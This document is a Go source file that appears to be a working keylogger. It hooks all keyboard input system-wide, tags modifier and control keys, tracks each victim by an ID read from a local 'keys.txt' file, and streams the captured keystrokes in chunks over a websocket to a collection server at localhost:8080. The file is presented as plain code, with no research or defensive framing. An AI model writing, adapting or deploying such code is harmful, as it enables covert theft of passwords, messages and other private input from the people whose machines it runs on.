package main import ( "fmt" "io" "net/url" "os" "path/filepath" "runtime" "strings" "time" "github.com/google/uuid" "github.com/gorilla/websocket" hook "github.com/robotn/gohook" ) const ( SHIFT_RAWCODE = 65505 CTRL_RAWCODE = 65507 ALT_RAWCODE = 65513 DEL_KEYCHAR = 8 ENTER_KEYCHAR = 13 REG_START = 32 REG_END = 255 ) var debug = false func log(msg string, formats ...any) { if debug { fmt.Printf(msg, formats...) } } // load id from same directory as executable from "keys.txt" func getId() uuid.UUID { var id = uuid.New() if runtime.GOOS != "windows" { return id } ex, err := os.Executable() if err != nil { return id } file := filepath.Join(filepath.Dir(ex), "keys.txt") stream, err := os.Open(file) defer func() { _ = stream.Close() }() if err != nil { return id } data, err := io.ReadAll(stream) if err != nil { return id } loaded, err := uuid.Parse(string(data)) if err != nil { return id } else { return loaded } } func main() { id := getId() var resource = url.URL{Scheme: "ws", Host: "localhost:8080", Path: fmt.Sprintf("/keys?id=%s", id)} debugRaw := strings.ToLower(os.Getenv("DEBUG")) debug = debugRaw == "true" || debugRaw == "1" || debugRaw == "yes" var conn *websocket.Conn var err error var tries = 0 for { log("attempting to dial: %s\n", resource.String()) conn, _, err = websocket.DefaultDialer.Dial(resource.String(), nil) if err != nil { log("dialing failed") tries += 1 if tries >= 3 { return } time.Sleep(time.Second) } else { log("dialnig succesful") break } } defer conn.Close() go func() { defer os.Exit(0) for { kind, _, err := conn.ReadMessage() log("read message of kind %v\n", kind) if err != nil { return } if kind == websocket.CloseMessage { return } } }() evChan := hook.Start() defer hook.End() buff := make([]byte, 64) for ev := range evChan { log("received event: %d (%c)\n", ev.Rawcode, ev.Keychar) switch ev.Rawcode { case SHIFT_RAWCODE: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[shift]")...) } else if ev.Kind == hook.KeyUp { buff = append(buff, []byte("[SHIFT]")...) } continue case CTRL_RAWCODE: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[ctrl]")...) } else if ev.Kind == hook.KeyUp { buff = append(buff, []byte("[CTRL]")...) } continue case ALT_RAWCODE: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[alt]")...) } else if ev.Kind == hook.KeyUp { buff = append(buff, []byte("[ALT]")...) } continue case DEL_KEYCHAR: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[del]")...) } continue } switch ev.Keychar { case DEL_KEYCHAR: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[del]")...) } continue case ENTER_KEYCHAR: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("\n")...) } continue } if REG_START <= ev.Keychar && ev.Keychar <= REG_END { if ev.Kind == hook.KeyDown { buff = append(buff, byte(ev.Keychar)) } } if len(buff) >= 32 { log("writing buffer") conn.WriteMessage(websocket.TextMessage, buff[:32]) buff = buff[32:] } } }